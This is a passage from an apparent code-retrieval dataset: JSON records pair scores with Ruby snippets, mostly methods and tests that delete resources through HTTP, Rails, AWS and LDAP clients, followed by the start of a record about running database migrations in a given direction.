client.delete(api_path)\n true\n rescue Error::HTTPError\n false\n end", "title": "" }, { "docid": "312618e48342146e16d926fffe463c61", "score": "0.56163114", "text": "def _delete(path)\n forbidden unless is_allowed? path\n not_found unless File.exists? path\n forbidden unless File.file? path\n File.delete path\n ok\n rescue SystemCallError => e\n logger.error e.message\n internal_server_error\n end", "title": "" }, { "docid": "d05b658246e0c7882f64354265955d29", "score": "0.5587993", "text": "def test_system_proxy_delete\n proxy = OpenShift::FrontendProxyServer.new\n\n proxy.expects(:shellCmd).with(equals(\"openshift-port-proxy-cfg setproxy 1 delete\")).once\n proxy.system_proxy_delete(1)\n\n proxy.expects(:shellCmd).with(equals(\"openshift-port-proxy-cfg setproxy 1 delete 2 delete 3 delete\")).once\n proxy.system_proxy_delete(1, 2, 3)\n end", "title": "" }, { "docid": "37f1e52242f0dd71d53bbcb6e737299d", "score": "0.55697244", "text": "def test_skip_delete_with_401_unauthorized\n mock_solr = mock()\n items = [ { \"id\" => \"1\", \"url\" => \"http://foo.com/\"}, { \"id\" => \"2\", \"url\" => \"http://bar.com/\"} ]\n mock_solr.expects(:select).once.with({:q => 'id:*', :start=> 0, :rows=>10, :wt => :ruby, :fl =>'id,url'}).returns(make_item_response(items))\n add_expect_uri(\"http://foo.com/\")\n add_expect_uri(\"http://bar.com/\", [\"401\", \"Unauthorized\"])\n SolrPurge.purge({ :solr => mock_solr, :wait => 0, :user_agent => \"me\", :from => \"foo\", :delete => true, :log => @log })\n end", "title": "" }, { "docid": "afea3b8eefe909940255065731a26096", "score": "0.5564006", "text": "def delete options={}, &block\n handle_exceptions do\n Chimps.log.info(\"DELETE #{url}\")\n Response.new(super(options, &block))\n end\n end", "title": "" }, { "docid": "c69b42d6c8b450ec35be1211f8a49f80", "score": "0.5556161", "text": "def multi_response_abort\n @multi_buffer = nil\n @position = nil\n @inprogress = false\n failure!(RuntimeError.new('External timeout'))\n rescue NetworkError\n true\n end", "title": "" }, { "docid": "822aa6689ddf5e71f96df3affe345733", "score": "0.553256", "text": "def delete\n ret_val = error_if_exists('delete')\n super if ret_val\n return ret_val\n end", "title": "" }, { "docid": "33b888c8f2b033bb54789de80c57d692", "score": "0.54981214", "text": "def delete\n client.delete(url)\n @deleted = true\nend", "title": "" }, { "docid": "6b22552e75530d8113406d7f1c575d5e", "score": "0.545913", "text": "def post_delete_result!\n @operation = DELETE_REQUEST\n post_outcome_request\n end", "title": "" }, { "docid": "85455c1c89ac6d2babe2dfb6384452e2", "score": "0.5453475", "text": "def test_proxy_down\n setup_plugin(build_proxy_config)\n\n transaction = nil\n toxiproxy.down do\n transaction = trigger_purchase('PLUGIN_FAILURE', 'Connection refused - Connection refused', 'Errno::ECONNREFUSED')\n end\n\n # Check the recovery behavior for the Janitor (no-op by default)\n check_purchase(transaction.payment_id, 'PLUGIN_FAILURE', 'Connection refused - Connection refused', 'Errno::ECONNREFUSED')\n end", "title": "" }, { "docid": "12a400e58914355efb37bcda73b0de38", "score": "0.54190946", "text": "def test_delete_nonexistent\n assert_raise(ArgumentError) { cmk.delete_host('does not exist', 'folder1')}\n end", "title": "" }, { "docid": "78b8fb2a161ce14d2ae81b8611982000", "score": "0.54023725", "text": "def destroy\n @proxy.destroy\n respond_to do |format|\n format.html { redirect_to proxies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "78b8fb2a161ce14d2ae81b8611982000", "score": "0.54023725", "text": "def destroy\n @proxy.destroy\n respond_to do |format|\n format.html { redirect_to proxies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2d8764b1f2f25110816a17f73f497f0e", "score": "0.5377671", "text": "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "title": "" }, { "docid": "1a9aee1791a9dfa378792bd063f8a627", "score": "0.53722835", "text": "def delete(user)\n Rails.logger.debug \"Call to poll.delete\"\n reqUrl = \"/api/poll/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password']) #Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end", "title": "" }, { "docid": "bbe3688c3e84c6cf570b890c0898a051", "score": "0.5366947", "text": "def delete(http_connection)\n success = true\n tries ||= 3\n display = []\n display.push file_path\n if File.exists?(self.file_path)\n begin\n request = Net::HTTP::Delete.new(api_url_for_delete)\n WebTranslateIt::Util.add_fields(request)\n display.push Util.handle_response(http_connection.request(request))\n puts ArrayUtil.to_columns(display)\n rescue Timeout::Error\n puts StringUtil.failure(\"Request timeout. Will retry in 5 seconds.\")\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n rescue\n display.push StringUtil.failure(\"An error occured: #{$!}\")\n success = false\n end\n else\n puts StringUtil.failure(\"\\nMaster file #{self.file_path} doesn't exist locally!\")\n end\n return success\n end", "title": "" }, { "docid": "c8200a45d01dd40261836b58fb819cbf", "score": "0.53654736", "text": "def abort_on_exception(*) end", "title": "" }, { "docid": "69b205c158f7212cc750ed38fc878f1c", "score": "0.5355238", "text": "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "title": "" }, { "docid": "fa535b5c7438b8674582953ca1fb6f52", "score": "0.5338101", "text": "def delete\n result = exists\n raise RubyAem::Error.new('Certificate chain not found', result) if result.data == false\n\n @client.call(self.class, __callee__.to_s, @call_params)\n end", "title": "" }, { "docid": "409c9701d4a54ca15b1a53897fa9689b", "score": "0.53071034", "text": "def destroy\n if @client.dois.present?\n message = \"Can't delete repository that has DOIs.\"\n status = 400\n Rails.logger.warn message\n render json: {\n errors: [{ status: status.to_s, title: message }],\n }.to_json,\n status: status\n elsif @client.update(is_active: nil, deleted_at: Time.zone.now)\n @client.send_delete_email unless Rails.env.test?\n head :no_content\n else\n # Rails.logger.error @client.errors.inspect\n render json: serialize_errors(@client.errors, uid: @client.uid),\n status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "7062e1ed8057bc0bbeefdcf677808d8c", "score": "0.5302479", "text": "def delete_network(network)\n attempt = 0\n begin\n network.destroy\n rescue Fog::Compute::RackspaceV2::ServiceError => e\n if attempt == 3\n puts \"Unable to delete #{network.label}\"\n return false\n end\n puts \"Network #{network.label} Delete Fail Attempt #{attempt}- #{e.inspect}\"\n attempt += 1\n sleep 60\n retry\n end\n return true\nend", "title": "" }, { "docid": "b5e5cf3e27cf5f402eade69987bbbfd0", "score": "0.528154", "text": "def delete_system(system, url, user, password)\n begin\n # tell the call to use a system/uuid as a ref\n ref = HOSTS_API_ENDPOINT + \"/\" + system['id'].to_s\n log(:info, \"Using ref: <#{ref}> to delete system from Satellite.\")\n\n # get response and convert to json\n response = call_satellite(:delete, url, user, password, ref, :json)\n\n # validate response and return system object\n if response\n if response.code == DELETE_SUCCESS_CODE\n log(:info, \"delete_system: Successfully deleted system: #{system.inspect}\")\n return JSON.parse(response)\n else\n raise \"Invalid Response code #{response.code}\"\n end\n else\n raise \"Invalid Response: #{response.inspect}\"\n end\n rescue => err\n # log and backtrace the error\n log(:error, \"[#{err}]\\n#{err.backtrace.join(\"\\n\")}\")\n log(:error, \"delete_system: #{err}. Returning false\")\n return false\n end\nend", "title": "" }, { "docid": "c4ea9aec283d7dbf7b7119debc696d6d", "score": "0.52703565", "text": "def test_request_raises_without_http_client\n @delicious.http_client = nil\n assert_raise(WWW::Delicious::Error) { @delicious.update }\n end", "title": "" }, { "docid": "7cb9eca8e36ca08c593f40fddb371adc", "score": "0.5264875", "text": "def delete(key)\n\n # FIXME: insert code that connects to the backend and affects the delete\n # operation\n #\n # - This delete should be done atomically\n # - Convert any exceptions into a failed status result with a meaningful\n # error message.\n #\n\n { :result => false, :err_msg => 'FIXME: not implemented' }\n end", "title": "" }, { "docid": "0e4405dd721b073f24e97aec0f587102", "score": "0.5260644", "text": "def delete\n resp = if token.present?\n chip_client.delete(token:)\n else\n Faraday::Response.new(body: check_in.unauthorized_message.to_json, status: 401)\n end\n response.build(response: resp).handle\n end", "title": "" }, { "docid": "f9d4e685716975ab9b64932ae418b430", "score": "0.52567786", "text": "def destroy\n redirect_to :action => 'not_implemented', :status => 501\n end", "title": "" }, { "docid": "1d6890811d8ffae358f32dc80c32da9f", "score": "0.5251778", "text": "def missing_status_code(request_method)\n request_method == :delete ? 204 : 404\n end", "title": "" }, { "docid": "4a2ccd3ac8b1bb99ac7594c5ba4eed7d", "score": "0.5236958", "text": "def ignore_test_destroy_with_wrong_http_method_redirects\n get :destroy, :id => test_entry.id\n assert_redirected_to_index\n \n put :destroy, :id => test_entry.id\n assert_redirected_to_index\n end", "title": "" }, { "docid": "a1b27b21fdc7e7094553d0665f93a02c", "score": "0.52368623", "text": "def decr(*args)\n super\n rescue NotFound\n rescue Error => e\n log_exception e\n end", "title": "" }, { "docid": "deb4fbe47aee0208bdb3814109d5bec0", "score": "0.5226775", "text": "def delete\n Model.test_for_invalid_status(:delete, @model_status)\n clear_alerts; run_validation(:delete)\n\n unless @model_status == :error\n interface.delete(@model_id) \n @model_status = :deleted\n end\n self\n rescue Pod4::WeakError\n add_alert(:error, $!)\n self\n end", "title": "" }, { "docid": "a41f29a53536540eaf3b8d4dd87bc2e5", "score": "0.51889366", "text": "def delete_folder_request(folder_id)\n url = URI(\"#{$base_url}/api/projects/#{$project_id}/folders/#{folder_id}\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n request = Net::HTTP::Delete.new(url)\n request[\"accept\"] = 'application/vnd.api+json; version=1'\n request[\"access-token\"] = $access_token\n request[\"uid\"] = $uid\n request[\"client\"] = $client\n response = http.request(request)\n\n if response.code == 200.to_s\n $deleted_count = $deleted_count + 1\n elsif response.code == 304.to_s\n puts \"Folder is empty. Status: #{response.code}\"\n elsif response.code == 504.to_s\n puts \"Gateway Time-out. Status: #{response.code}\"\n puts response.body\n end\n\n response.code\nend", "title": "" }, { "docid": "4096040aa9403bbee9a44bd96521a8b5", "score": "0.51775587", "text": "def delete\n render_error :not_implemented, 'Requested functionality is not implemented'\n end", "title": "" }, { "docid": "09b9612827e428373b4885abde619477", "score": "0.5169154", "text": "def cleanup\n options = []\n options += ['-q', '--no-verbose'] unless Kontena.debug?\n command.handle_options options\n command.execute\n true\n rescue Gem::SystemExitException => e\n raise unless e.exit_code.zero?\n true\n end", "title": "" }, { "docid": "4a40046b2238cb8ec0062678bfd133f6", "score": "0.51486725", "text": "def destroy\n begin\n @response.soft_destroy!\n respond_to do |format|\n format.html { redirect_to responses_url, notice: 'Response was successfully destroyed.' }\n format.json { head :no_content }\n end\n rescue => ex\n ActiveRecord::Rollback\n return redirect_to responses_url, notice: ex.message\n end\n end", "title": "" }, { "docid": "850c74a5fb0f1b6b2e18cf98a629af88", "score": "0.5142145", "text": "def delete *args, &block\n res = @conn.delete *args, &block\n handle res, parse: false\n end", "title": "" }, { "docid": "1c6d6b4653626ab1e546b79e7e7a8aef", "score": "0.51372504", "text": "def destroy\n super\n rescue => e\n errors.add(:base, e.message)\n false\n end", "title": "" }, { "docid": "2e75ce223539f89b8bc92f25bb63fa6e", "score": "0.5136467", "text": "def test_raise_no_error\n response, _error = resolver_returning_response.query_raw(Dnsruby::Message.new, :raise)\n assert_equal :response_from_send_plain_message, response\n end", "title": "" }, { "docid": "57611b5f5e4c1ed216327bd78c7c2fab", "score": "0.51280725", "text": "def delete\n return false\n end", "title": "" }, { "docid": "ca1bc10ef753f5ad502428a7beac3dd5", "score": "0.5117506", "text": "def delete\n ensure_client && ensure_uri\n response = @client.rest_delete(@data['uri'], { 'Accept-Language' => 'en_US' }, @api_version)\n @client.response_handler(response)\n true\n end", "title": "" }, { "docid": "576d14ecdc3b8852927f3fb2ffd7d862", "score": "0.5115571", "text": "def delete\n conn.delete(escaped_path)\n true\n rescue StandardError => e\n puts \"carrierwave-upyun delete failed: #{e.inspect}\"\n nil\n end", "title": "" }, { "docid": "ad8e229a1e027a0e0f24e43c1fe6401e", "score": "0.5107152", "text": "def delete_logic( defer = false, mask_exceptions = true )\n if defer\n database.add_to_bulk_cache( { '_id' => self['_id'], '_rev' => rev, '_deleted' => true } )\n else\n begin\n delete_now\n rescue Exception => e\n if mask_exceptions || e.class == CouchDB::ResourceNotFound\n false\n else \n raise e\n end \n end \n end \n end", "title": "" }, { "docid": "258822e49d25593351846633eb85599f", "score": "0.5097177", "text": "def abort_on_exception=(*) end", "title": "" }, { "docid": "735ce1e4964271a015addd43b6febffc", "score": "0.50938123", "text": "def delete_identity_aware_proxy_client request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_identity_aware_proxy_client_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "7d1bbeb7c9d5f10badf1fcb8c4dbbf46", "score": "0.5092759", "text": "def destroy\n @ipaddress = Ipaddress.find(params[:id])\n @ipJoinID = @newIP.list(@virtualmachine.RemoteID).find{|joinipID| joinipID[\"ip_address_id\"] == @ipaddress.ip } \n @responsedelt = @ipobject.deleteIP(@virtualmachine.RemoteID,@ipJoinID['id'])\n p @responsedelt\n respond_to do |format|\n if @responsedelt.blank?\n @ipaddress.destroy\n format.html { redirect_to [@virtualmachine, @ipaddress],notice: 'IP Address will be delete shortly.' }\n format.json { head :no_content } \n else\n format.html { redirect_to virtualmachine_ipaddresses_url,notice: \"Errors are #{@responsedelt[\"errors\"]}\" }\n end\n end\n end", "title": "" }, { "docid": "753db1d7fb543a6cdae6aa94c34db8ab", "score": "0.5074767", "text": "def orchio_delete\n response = client.send_request :delete, inst_args\n orchio_status response, 204\n end", "title": "" }, { "docid": "101f3aa85fc39af52c41c9ddbf01628e", "score": "0.5073178", "text": "def bucket_policy_deleted?(s3_client, bucket_name)\r\n s3_client.delete_bucket_policy(bucket: bucket_name)\r\n return true\r\nrescue StandardError => e\r\n puts \"Error deleting bucket policy: #{e.message}\"\r\n return false\r\nend", "title": "" }, { "docid": "3a5560a20da29c6e051512e098a5c3d8", "score": "0.5072993", "text": "def delete(args)\n dn = args[:dn] or raise \"Unable to delete empty DN\"\n controls = args.include?(:control_codes) ? args[:control_codes].to_ber_control : nil #use nil so we can compact later\n message_id = next_msgid\n request = dn.to_s.to_ber_application_string(Net::LDAP::PDU::DeleteRequest)\n\n write(request, controls, message_id)\n pdu = queued_read(message_id)\n\n if !pdu || pdu.app_tag != Net::LDAP::PDU::DeleteResponse\n raise Net::LDAP::ResponseMissingOrInvalidError, \"response missing or invalid\"\n end\n\n pdu\n end", "title": "" }, { "docid": "6bb5b9e2ce5ab901a05a1d618f90ad4d", "score": "0.5066778", "text": "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "title": "" }, { "docid": "6bb5b9e2ce5ab901a05a1d618f90ad4d", "score": "0.5066778", "text": "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "title": "" }, { "docid": "264301fd08fa640264e85ab33b603fc4", "score": "0.50616854", "text": "def delete(*args)\n url, subdomain, path, = parse_args(*args)\n rewrap_errors do\n RestClient.delete(build_url(url || subdomain, path), headers)\n end\n end", "title": "" }, { "docid": "80e5940a4e9b36461ec0c5513ffe3c25", "score": "0.50330997", "text": "def delete\n code = @session.delete_resource(@proxy_uri)[0]\n @loaded = false\n @research_object.remove_resource(self)\n code == 204\n end", "title": "" }, { "docid": "bfad927faed04271cb4d1ce76989faec", "score": "0.5024344", "text": "def test_delete_not_existing_key()\n key = \"_Delete_NotExistingKey\"\n rdht = Scalaroid::ReplicatedDHT.new()\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n\n rdht.close_connection()\n end", "title": "" }, { "docid": "2c6941b89dd35c5d0ef7321df59b29de", "score": "0.5023249", "text": "def testDelete_notExistingKey()\n key = \"_Delete_NotExistingKey\"\n rdht = Scalaris::ReplicatedDHT.new()\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n \n rdht.close_connection()\n end", "title": "" }, { "docid": "bb027346c651e0c3c8f3470cbfc876c1", "score": "0.50202775", "text": "def destroy\n ret_val = error_if_exists('destroy')\n # Rails.logger.debug (\"* Models::Deactivated.destroy - destroy error check ret_val: #{ret_val}\")\n super if ret_val\n return ret_val\n rescue ActiveRecord::InvalidForeignKey => e\n if errors\n errors.add(:base, I18n.translate('errors.error_dependencies' ) )\n end\n end", "title": "" }, { "docid": "8130bedc50e3d5f8108d3282c977ef19", "score": "0.50113726", "text": "def delete\n @client.call(self.class, __callee__.to_s, @call_params)\n end", "title": "" }, { "docid": "2f5c97ef5aaaf69f06ed4b5af1989847", "score": "0.5003518", "text": "def alarm_deleted?(cloudwatch_client, alarm_name)\n cloudwatch_client.delete_alarms(alarm_names: [alarm_name])\n return true\nrescue StandardError => e\n puts \"Error deleting alarm: #{e.message}\"\n return false\nend", "title": "" }, { "docid": "82638edd700f30d04414a7c8abd45ee1", "score": "0.50006616", "text": "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "title": "" }, { "docid": "82638edd700f30d04414a7c8abd45ee1", "score": "0.50006616", "text": "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "title": "" }, { "docid": "15019f65fcb2dc09a625318cab419063", "score": "0.5000365", "text": "def delete\n client.delete(url)\n @deleted = true\n end", "title": "" }, { "docid": "5cd96a2e4cb0fdfef5fbe0eedfa176c8", "score": "0.49908316", "text": "def key_pair_deleted?(ec2_client, key_pair_name)\n ec2_client.delete_key_pair(key_name: key_pair_name)\n return true\nrescue StandardError => e\n puts \"Error deleting key pair: #{e.message}\"\n return false\nend", "title": "" }, { "docid": "531c8499dd967d32a28f748ab0f4a0e7", "score": "0.49872375", "text": "def delete_with_binary_response(relative_path, request_headers, request_parameters, context)\n connection = @session.connection\n request_parameter_list = request_parameters &&\n request_parameters.to_request_parameters\n uri = to_absolute_uri(relative_path, request_parameter_list)\n request_headers = [] if request_headers.nil?\n add_generic_headers('DELETE', uri, request_headers, context)\n\n response_status_code, response_headers, response_body = nil\n connection.delete(uri, request_headers) do |status_code, headers, content|\n response_status_code = status_code\n response_headers = headers\n response_body = process_binary_response(status_code, content, headers, context) do |h, c|\n yield h, c\n end\n end\n throw_exception_if_necessary(response_body, response_status_code, response_headers, relative_path)\n end", "title": "" }, { "docid": "aff3754f40887c59481e2f80ff70fc72", "score": "0.49870712", "text": "def http_delete(path, headers = {})\n clear_response\n path = process_path(path)\n @success_code = 204\n @response = http.delete(path, headers)\n parse_response? ? parsed_response : response.body\n end", "title": "" }, { "docid": "376afb7872ca26558919139da66b44df", "score": "0.498212", "text": "def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "title": "" }, { "docid": "8ae0ac6a9d529295374161740be4ce6f", "score": "0.49802166", "text": "def delete(remote_filepath)\n @request = Net::HTTP::Delete.new(::File.join(@uri.path, remote_filepath))\n @request.basic_auth @username, @password\n\n @response = @http.request(@request)\n @response.body.presence || @response.code.to_i\n end", "title": "" }, { "docid": "43c4e248bbea04b1125fe507e9e1225b", "score": "0.49775687", "text": "def abort; end", "title": "" }, { "docid": "43c4e248bbea04b1125fe507e9e1225b", "score": "0.49775687", "text": "def abort; end", "title": "" }, { "docid": "43c4e248bbea04b1125fe507e9e1225b", "score": "0.49775687", "text": "def abort; end", "title": "" }, { "docid": "d226bcd472ca26f1b7c54852a38660d9", "score": "0.49734238", "text": "def destroy\n if @client.dois.present?\n message = \"Can't delete client that has DOIs.\"\n status = 400\n Rails.logger.warn message\n render json: {\n errors: [{ status: status.to_s, title: message }],\n }.to_json,\n status: status\n elsif @client.update(is_active: nil, deleted_at: Time.zone.now)\n unless Rails.env.test?\n @client.send_delete_email(responsible_id: current_user.uid)\n end\n head :no_content\n else\n # Rails.logger.error @client.errors.inspect\n render json: serialize_errors(@client.errors, uid: @client.uid),\n status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "8bef6cbe477cb8552adf4383324a0bc4", "score": "0.49727863", "text": "def delete_via_redirect(path, parameters = {}, headers = {})\n delete path, parameters, headers\n follow_redirect! while redirect?\n status\n end", "title": "" }, { "docid": "df9adb914b6384a2064043fe19b82ff1", "score": "0.49723992", "text": "def fire_delete(url_or_path, options = {}, &block)\n params = options.fetch(:params, {})\n params.merge!(mapped_params(options))\n\n url = absolute_url(url_or_path, params: params)\n headers = {:Accept => MEDIA_TYPE_JSON}.merge(options.fetch(:headers, {}))\n headers = merge_log_weasel_header(headers)\n timeout = options.fetch(:timeout, Ladon.default_request_timeout)\n response = Typhoeus::Request.delete(url, headers: headers, timeout: timeout)\n handle_response(response, method: :delete, default_data: options[:default_data], url: url,\n raise_on_error: options[:raise_on_error], &block)\n end", "title": "" }, { "docid": "312c2c21362c0832e054302a35b4ae03", "score": "0.4970838", "text": "def delete(*)\n unavailable_method\n end", "title": "" }, { "docid": "c75a29b58373f84e331584089dc42e9f", "score": "0.49599233", "text": "def http_delete(_request, h_r, temp_location)\n return nil unless ::File.exist?(temp_location)\n\n ::File.unlink(temp_location)\n h_r.update_header('X-Sabre-Temp', 'true')\n h_r.status = 204\n false\n end", "title": "" }, { "docid": "8ec39c6707084b6b017afcd0d89e6aea", "score": "0.49583608", "text": "def delete(request_configuration=nil)\n request_info = self.to_delete_request_information(\n request_configuration\n )\n error_mapping = Hash.new\n error_mapping[\"4XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n error_mapping[\"5XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n return @request_adapter.send_async(request_info, nil, error_mapping)\n end", "title": "" }, { "docid": "8ec39c6707084b6b017afcd0d89e6aea", "score": "0.49583608", "text": "def delete(request_configuration=nil)\n request_info = self.to_delete_request_information(\n request_configuration\n )\n error_mapping = Hash.new\n error_mapping[\"4XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n error_mapping[\"5XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n return @request_adapter.send_async(request_info, nil, error_mapping)\n end", "title": "" }, { "docid": "89230d7a5adb1ff4f2afed18cdaeec8d", "score": "0.49410692", "text": "def handle_error(status_p)\n begin\n yield\n\n true\n rescue => e\n status = Status.from_pointer(status_p)\n status.update(:error_client, 1, \"#{e.class}: #{e}\")\n false\n end\n end", "title": "" }, { "docid": "b7756a07252e4e8cd1e014ab8d0fe1cf", "score": "0.49396983", "text": "def test_valid_delete_returns_204\n db = DB.get\n\n valid_entry = SEED_ENTRIES.first\n insert_entry(db, valid_entry)\n\n assert_equal 1, db.execute('select * from entries').count\n\n delete \"/api/entries/#{valid_entry[:slug]}\"\n assert last_response.no_content?\n\n assert_equal 0, db.execute('select * from entries').count\n end", "title": "" }, { "docid": "0e185f449d526528b065eb99d0db3177", "score": "0.49383348", "text": "def deleteExecution(execution_id)\n uri = URI(RUNDECKSERVER + ':' + RUNDECKPORT + '/api/12/execution/' + execution_id)\n http = Net::HTTP.new(uri.host, uri.port)\n headers = {'Content-Type'=> 'application/jsonr','X-RunDeck-Auth-Token'=> API_KEY }\n r = http.delete(uri.path, headers) \n return r\nend", "title": "" }, { "docid": "6ccaaed743550ec417e87f5033891ea1", "score": "0.49358505", "text": "def cleanup\n delete!\n return true\n rescue PoolNode::Conflict\n # still in use\n return false\n end", "title": "" }, { "docid": "3e7e61d4feafcd2619956bb4699ee141", "score": "0.49345088", "text": "def destroy\n logger = Logger.new(STDOUT)\n if @client.dois.present?\n message = \"Can't delete client that has DOIs.\"\n status = 400\n logger.warn message\n render json: { errors: [{ status: status.to_s, title: message }] }.to_json, status: status\n elsif @client.update_attributes(is_active: nil, deleted_at: Time.zone.now)\n @client.send_delete_email unless Rails.env.test?\n head :no_content\n else\n logger.warn @client.errors.inspect\n render json: serialize_errors(@client.errors), status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "03259ca6b330b836f028099080e8488b", "score": "0.49310303", "text": "def delete_request(uri, token = nil, manage_errors = true)\n request = Net::HTTP::Delete.new(uri.request_uri, initheader = build_headers(token))\n return do_request(uri, request, manage_errors)\n end", "title": "" }, { "docid": "51c54008746e99066f17a40a4dbdfbcf", "score": "0.49304417", "text": "def assert_deletes(api_path, &block)\n headers = DEFAULT_HEADERS\n stub_request(:delete, uri(api_path))\n .with(headers: headers)\n .to_return(body: dummy_response, status: 200)\n yield block\n assert_requested(:delete, uri(api_path), headers: headers)\n WebMock.reset!\n end", "title": "" }, { "docid": "c2ffe98c1f5db41cd4ef0f8d6d83e255", "score": "0.4928123", "text": "def destroy\n @thing_with_error = ThingWithError.find(params[:id])\n @thing_with_error.destroy\n\n respond_to do |format|\n format.html { redirect_to thing_with_errors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e6b28d5a7046f51b3fda9de678b00f83", "score": "0.49194652", "text": "def delete(*)\n unavailable_method\n end", "title": "" }, { "docid": "e6b28d5a7046f51b3fda9de678b00f83", "score": "0.49194652", "text": "def delete(*)\n unavailable_method\n end", "title": "" } ]
45e2f668a8f3e2ce25c128fab18cdabc
Execute this migration in the named direction
[ { "docid": "217003a6dd4b183da07d831f9c2dbab8", "score": "0.5914087", "text": "def migrate(direction)\n return unless respond_to?(direction)\n\n case direction\n when :up then announce \"migrating\"\n when :down then announce \"reverting\"\n end\n\n result = nil\n time = Benchmark.measure { result = send(\"#{direction}_without_benchmarks\") }\n\n case direction\n when :up then announce \"migrated (%.4fs)\" % time.real; write\n when :down then announce \"reverted (%.4fs)\" % time.real; write\n end\n\n begin\n @@after_migrate.call(@@buffer_output, name, direction, false) if @@after_migrate\n @@buffer_output = nil\n rescue => e\n say(\"Error in after_migrate hook: #{e}\")\n end\n result\n end", "title": "" } ]
[ { "docid": "4853d7c5f5d4f8ccd71178af47db6e83", "score": "0.69874614", "text": "def run_migration; end", "title": "" }, { "docid": "01f11a8451dd306df374c49537e5c95f", "score": "0.6923416", "text": "def migrate(direction)\n @dir = direction\n super\n end", "title": "" }, { "docid": "8abe4a792b2ab704f2f016783e9351cc", "score": "0.6892754", "text": "def run(direction, migration_paths, version)\n DataMigrate::MigrationContext.new(migration_paths).run(direction, version)\n end", "title": "" }, { "docid": "87046c1f2fb169faecaadfef13f46f64", "score": "0.68427086", "text": "def apply(db, direction)\n raise(ArgumentError, \"Invalid migration direction specified (#{direction.inspect})\") unless [:up, :down].include?(direction)\n if prok = public_send(direction)\n db.instance_exec(&prok)\n end\n end", "title": "" }, { "docid": "e4ac465087e26c5e42bcf5b8e0742334", "score": "0.6828484", "text": "def migrate!\n invoke [:migrate]\n end", "title": "" }, { "docid": "9898af214361ab417817298162cffcd2", "score": "0.6717543", "text": "def migrate(direction); end", "title": "" }, { "docid": "36cef3d4ab03d145f215106c4829c362", "score": "0.66649634", "text": "def run\n\t\t\tapplied, pending = self.get_partitioned_migrations\n\n\t\t\t# If no target was specified, and there are no pending\n\t\t\t# migrations, return early.\n\t\t\treturn if pending.empty? && self.target.nil?\n\n\t\t\t# If no target was specified, the last one is the target\n\t\t\ttarget = self.target || pending.last.name\n\t\t\tmigrations = nil\n\t\t\tdirection = nil\n\n\t\t\tif target == '0'\n\t\t\t\tdirection = :down\n\t\t\t\tmigrations = applied.reverse\n\n\t\t\telsif tgtidx = pending.find_index {|m| m.name == target }\n\t\t\t\tmigrations = pending[ 0..tgtidx ]\n\t\t\t\tdirection = :up\n\n\t\t\telsif tgtidx = applied.find_index {|m| m.name == target }\n\t\t\t\tmigrations = applied[ tgtidx..-1 ].reverse\n\t\t\t\tdirection = :down\n\n\t\t\telse\n\t\t\t\traise Sequel::Error, \"couldn't find migration %p\"\n\t\t\tend\n\n\t\t\t# Run the selected migrations\n\t\t\tself.db.log_info \"Migrating %d steps %s...\" % [ migrations.length, direction ]\n\t\t\tmigrations.each do |migration|\n\t\t\t\tstart = Time.now\n\t\t\t\tself.db.log_info \"Begin: %s, direction: %s\" %\n\t\t\t\t\t[ migration.description, direction ]\n\n\t\t\t\tself.db.transaction do\n\t\t\t\t\tmigration.apply( self.db, direction )\n\n\t\t\t\t\tmclass = migration.model_class.name\n\t\t\t\t\tif direction == :up\n\t\t\t\t\t\tself.dataset.insert( self.column => migration.name, :model_class => mclass )\n\t\t\t\t\telse\n\t\t\t\t\t\tself.dataset.filter( self.column => migration.name, :model_class => mclass ).delete\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tself.db.log_info \" finished: %s, direction: %s (%0.6fs)\" 